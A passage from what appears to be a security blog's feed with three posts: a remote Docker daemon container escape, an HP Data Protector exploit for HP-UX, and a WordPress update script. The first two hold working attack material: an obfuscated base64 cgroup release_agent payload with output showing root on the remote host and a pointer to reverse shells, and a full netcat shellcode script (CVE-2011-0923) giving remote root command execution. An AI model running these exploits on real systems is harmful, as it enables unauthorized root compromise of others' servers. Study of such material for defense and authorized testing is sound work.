<p>A container would be vulnerable to this technique if run with the flags: <code>--security-opt apparmor=unconfined --cap-add=SYS_ADMIN</code>.</p>
<p>So the command would look like this:</p>
<pre lang="bash">
$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
</pre>
<h2>Executing the Attack</h2>
<p>Now we execute everything in a nice one liner bundle:</p>
<pre lang="bash">
ubuntu@ip-10-42-2-129:~$ export DOCKER_HOST=tcp://10.42.2.77:2376
ubuntu@ip-10-42-2-129:~$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 10.42.2.77  netmask 255.255.255.0  broadcast 10.42.2.255
        inet6 fe80::36:7fff:fe79:376e  prefixlen 64  scopeid 0x20<link>
        ether 02:36:7f:79:37:6e  txqueuelen 1000  (Ethernet)
        RX packets 97631  bytes 72611082 (72.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 91094  bytes 5847217 (5.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ip-10-42-2-77
uid=0(root) gid=0(root) groups=0(root)
root     21756  0.0  0.0   4628   796 ?        S    08:04   0:00 sh /runme.sh
root     21771  0.0  0.1  11464  1012 ?        S    08:04   0:00 grep runme.sh
â€¢?((Â¯Â°Â·._.â€¢ profit! â€¢._.Â·Â°Â¯))ØŸâ€¢
ubuntu@ip-10-42-2-129:~$
</pre>
<p>Profit! Notice how the command was executed as a low privileged account but by exploiting the open docker port we were able to run a command as root in the remote server. My recommendation is to use <a href="https://www.metasploit.com/" rel="noopener noreferrer" target="_blank">Metasploit</a> to create a reverse shell or even use a rever shell from <a href="https://github.com/swisskyrepo" rel="noopener noreferrer" target="_blank">swisskyrepo</a>&#8216;s <a href="https://github.com/swisskyrepo/PayloadsAllTheThings" rel="noopener noreferrer" target="_blank">PayloadsAllTheThings</a> Github repository.</p>
<h1>References</h1>
<p><a name="ref_1"></a>1.- <a href="https://blog.trailofbits.com" rel="noopener noreferrer" target="_blank">Trail of Bits Blog</a>, <a href="https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/" rel="noopener noreferrer" target="_blank">Understanding Docker Container Escapes</a>, Visited: March 17, 2020.</p>
<p>Happy Hacking!<br />
<em>Adrian Puente Z.</em></p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&amp;linkname=Hacking%20Docker%20Remotely" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F17%2Fhacking-docker-remotely%2F&#038;title=Hacking%20Docker%20Remotely" data-a2a-url="https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/" data-a2a-title="Hacking Docker Remotely"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>HP Data Protector Remote Shell for HPUX</title>
		<link>https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/</link>
					<comments>https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/#respond</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Fri, 05 Aug 2011 04:13:31 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[c4an]]></category>
		<category><![CDATA[Data Protector]]></category>
		<category><![CDATA[David Llorens]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[fdisk]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[hpux]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[remote shell]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[unix]]></category>
		<guid isPermaLink="false">http://hackarandas.com/blog/?p=444</guid>

					<description><![CDATA[In many pentest that I have done, HPUX is one of the more commons UNIX OS that I found. It is a strong operating system running in a robust hardware, and when I got to know more about the Lights &#8230; <a href="https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/" rel="attachment wp-att-446"><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2011/08/root-145x150.gif" alt="" title="Remote Shell" width="145" height="150" style="margin: 10px 10px 0pt 0pt; float: left;"></a> In many pentest that I have done, <a href="http://en.wikipedia.org/wiki/HP-UX">HPUX</a> is one of the more commons <a href="http://en.wikipedia.org/wiki/Operating_system">UNIX</a> OS that I found. It is a strong operating system running in a robust hardware, and when I got to know more about the<a href="http://en.wikipedia.org/wiki/HP_Integrated_Lights-Out"> Lights Out</a> functionality I just fall in love.  Al thought many companies uses it for running their main part of their business I have found the they don&#8217;t pay much attention on it&#8217;s security so it&#8217;s common to find production servers without patches or even running applications on insecure protocols like <a href="http://en.wikipedia.org/wiki/Telnet">Telnet</a>, <a href="http://en.wikipedia.org/wiki/FTP">FTP</a> or even <a href="http://en.wikipedia.org/wiki/Rlogin">rlogin</a>.</p>
<p>Since HPUX has been around for a long time and HP was concerned about its security he created the project <a href="https://h20392.www2.hp.com/portal/swdepot/displayProductInfo.do?productNumber=B6849AA">Bastile for HPUX</a>. I had used it to secure servers and I can say that it&#8217;s great! You have to be really careful because it closes a lot of stuff and it may, no sorry, it will broke the connectivity with your oldest applications. ( by the way, it moves the users hashes to the /tcb/files/auth/ folder ;) ). This doesn&#8217;t mean you just run tomorrow, apply the Bastille on your servers  and forget about them&#8230; YOU ALSO NEED TO PATCH THE SERVER -CONSTANTLY-</p>
<p>So this week I was working in a <a href="http://en.wikipedia.org/wiki/Pentest">Pentest </a> and one of the main objectives was this HPUX 11.11 server, with 10 open ports and Bastille installed, it wasn&#8217;t looking so good. Looking around I found that <a href="http://www.zerodayinitiative.com/advisories/ZDI-11-055/">Data Protect has this nasty vulnerability</a> and  that <a href="http://twitter.com/#!/fdiskyou">fdisk</a> has created a <a href="http://www.exploit-db.com/exploits/17339/">PoC</a> for this <a href="http://en.wikipedia.org/wiki/Zero-day_attack">Zero Day</a> but in Windows. So with a lot of help from <a href="http://twitter.com/#!/c4an">c4an</a> (he ported this tool to the <a href="http://www.metasploit.com/">Metasploit Project</a> that you can see in his <a href="http://c4an-dl.blogspot.com/2011/08/hp-data-protector-vuln.html">blog</a>) the server was compromised with root&#8230;. <a href="http://en.wikipedia.org/wiki/W00t">w00t w00t</a>!</p>
<p>So this is the code and I share it ONLY FOR EDUCATIONAL PURPOSES. I encourage you not to use it on servers that you don&#8217;t own. You can also <a href="http://hackarandas.com/hacking-projects/HPUXDataProtect_RemoteShell.sh.gz">download it</a> from my <a href="http://hackarandas.com/hacking-projects/">Hacking Projects</a> section</p>
<pre lang="bash">#!/bin/bash
# Exploit Title: HP Data Protector Remote Shell for HPUX
# Date: 2011-08-02
# Author: Adrian Puente Z.
# Software Link:http://www8.hp.com/us/en/software/software-
# product.html?compURI=tcm:245-936920&amp;pageTitle=data-protector
# Version: 0.9
# Tested on: HPUX
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/
# Document.jsp?objectID=c02781143
#
# Powered by Hackarandas www.hackarandas.com
# Reachme at ch0ks _at_ hackarandas _dot_ com || @ch0ks
# Lots of thanks to David Llorens (@c4an) for all the help.
# Ported to HPUX from fdisk's (@fdiskyou) Windows version.
# Windows version: http://www.exploit-db.com/exploits/17339/
#
# Shouts to shellhellboy, r3x, r0d00m, etlow,
# psymera, nitr0us and ppl in #mendozaaaa
# 


[ $# -lt 3 ] &amp;&amp; echo -en "Syntax: `basename ${0}` <host> <port> <commands>\n\n`basename ${0}` 10.22.33.44 5555 id \nX15 [12:1] uid=0(root) gid=0(root)
" &amp;&amp; exit 0 </commands></port></host>
HOST=`echo ${@} | awk '{print $1}'`
PORT=`echo ${@} | awk '{print $2}'`
CMD=`echo ${@} | sed 's/'$HOST'.*'${PORT}'\ \ *//g'`
SC=""
SC=${SC}"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
SC=${SC}"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
SC=${SC}"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
SC=${SC}"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
SC=${SC}"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
SC=${SC}"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
SC=${SC}"\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
SC=${SC}"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
SC=${SC}"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SHELLCODE=${SC}
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}
</pre>
<p>This script is in <a href="http://en.wikipedia.org/wiki/Bash_(Unix_shell)">Bash</a> and can run in any Linux like Backtrack or in Windows using <a href="http://en.wikipedia.org/wiki/Cygwin">Cygwin</a> and this is how it works:</p>
<p>The <a href="http://en.wikipedia.org/wiki/Shellcode">shellcode</a> is 168 bytes and is injected directly on the port. The first 8 bytes of the 104 bytes of this shellcode is part of the protocol where we use the flag &#8220;C 20&#8221; to tell Data Protect (I found that if we manipulates this value other things can be accomplished even writing directly to / ) to perform the vulnerable function that allows remote connections and execute files within it&#8217;s local bin directory.</p>
<pre lang="bash">"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
"\x74\x2d\x00\x20\x30\x00\x20\x30\x00"
</pre>
<p>but if we use the <a href="http://en.wikipedia.org/wiki/Directory_traversal">Directory Path Traversal</a> technique we can execute any binary within the file system. The next part was tricky, I can execute any command but I am unable to pass arguments directly to it, so after some debug I found I can spawn a /usr/bin/sh closing it with some nullbytes to get the complete 168 bytes and if I concatenates the command to execute it will pass directly to the shell and execute it with the user&#8217;s environment variables, in this case root, and returns us the output.</p>
<pre lang="bash">"\x20\x2e\x2e\x2f\x2e\x2e\x2f"
"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
</pre>
<p>So at the end I get this to work doing this:</p>
<pre lang="bash">( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}</pre>
<p>The <a href="http://en.wikipedia.org/wiki/Netcat">Netcat</a> helps me to transports the shellcode to the port and it returns the output. It simply works.</p>
<p>So special thanks to fdisk for the PoC and David Llorens  for the useful brainstorming, he also ported this tool to the <a href="http://www.metasploit.com/">Metasploit Project</a> that you can see in his <a href="http://c4an-dl.blogspot.com/2011/08/hp-data-protector-vuln.html">blog</a>.</p>
<p><em>Adrian Puente Z.</em></p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&#038;title=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" data-a2a-url="https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/" data-a2a-title="HP Data Protector Remote Shell for HPUX"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Updating your WordPress Blog in a blink!</title>
		<link>https://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/</link>
					<comments>https://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/#respond</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Wed, 30 Mar 2011 03:49:18 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[update]]></category>
		<category><![CDATA[wordpress]]></category>
		<guid isPermaLink="false">http://hackarandas.com/blog/?p=418</guid>

					<description><![CDATA[I know, I know&#8230; WordPress already has an option to update your blog with one click&#8230; but I love to use my SSH and I don&#8217;t trust FTP connections, so here is my manual solution for this. I hope you &#8230; <a href="https://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="http://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/wordpress-150/" rel="attachment wp-att-422"><img loading="lazy" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2011/03/wordpress-150.gif" alt="Wordpress Logo" title="Wordpress Logo" width="75" height="70" class="alignleft size-full wp-image-422"  style="margin: 10px 10px 0pt 0pt; float: left;" /></a>  I know, I know&#8230; WordPress already has an option to update your blog with one click&#8230; but I love to use my SSH and I don&#8217;t trust FTP connections, so here is my manual solution for this. I hope you find it useful.</p>
<pre lang="c">
ssh myblog.com
./updateblog.sh
exit </pre>
<p>That&#8217;s it, pretty fancy uh? This is the code for this script:</p>
<pre lang="bash">
#!/bin/bash
# Script by Adrian Puente Z..
# Powered by Hackarandas www.hackarandas.com
# Licensed by GNU GPLv3
# http://www.gnu.org/licenses/gpl-3.0.txt

# This is the absolute PATH to a working directory.
UPGRADEPATH="/home/user/mytempdir/"
# Where the Blog is installed.
BLOGPATH="/home/user/complete/path"
# The complete URL to the blog.
BLOGURL="www.myblog.com/complete/path"
# For spanish version use this line.
NEWWP=`curl -q http://es.wordpress.org/ 2>/dev/null| grep download-tar | cut -d'"' -f4`
# For english version use this line
#NEWWP="http://wordpress.org/latest.tar.gz"

echo -n "Downloading ${NEWWP}, is this ok? [y/N] "
read -n 1 OK
echo
if [ ${OK} == "n" ]
then
	echo Exiting...  
	exit 0
fi

cd ${UPGRADEPATH}
echo Downloading new WP...
wget ${NEWWP} -O- | tar zxf -  
if [ $? -ne 0 ]
then
	echo "Problem found downloading latest release."
	echo "Exiting..."
	exit 1
fi

echo Deleting old wp-admin and wp-includes..
echo -n "is this ok [y/N] "
read -n 1 OK
echo
if [ ${OK} == "n" ]
then
        echo Exiting...  
        exit 0
fi

rm -fr ${BLOGPATH}/wp-admin
rm -fr ${BLOGPATH}/wp-includes

echo -n "Copying new files...i "
cp -r wordpress/* ${BLOGPATH}
rm -fr wordpress/
echo Done
echo Now go to this URL to update database..
echo -e "${BLOGURL}/wp-admin/upgrade.php"
echo Bye.
exit 0</pre>
<p>You just need to change the variables according to your blog needs, each one is commented to best understanding and don&#8217;t forget to give execution access. This script has only been tested on Linux and you should only keep it inside your home not in the www or http folder to avoid that someone read it.  </p>
<p>You can download it <a href="http://hackarandas.com/hacking-projects/updateblog.sh.gz">here</a> under your own risk and don&#8217;t forget to check my other projects <a href="http://hackarandas.com/hacking-projects/">here</a>.</p>
<p>Any comment or doubt leave me a comment and I will try to reply it asap.</p>
<p><strong>Adrian Puente Z.</strong></p>
<p><a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/Hackarandas" rel="tag">Hackarandas</a>, <a href="http://www.technorati.com/tag/ssh" rel="tag">ssh</a>, <a href="http://www.technorati.com/tag/blog" rel="tag">blog</a>, <a href="http://www.technorati.com/tag/update" rel="tag">update</a>, <a href="http://www.technorati.com/tag/wordpress" rel="tag">wordpress</a> </p>
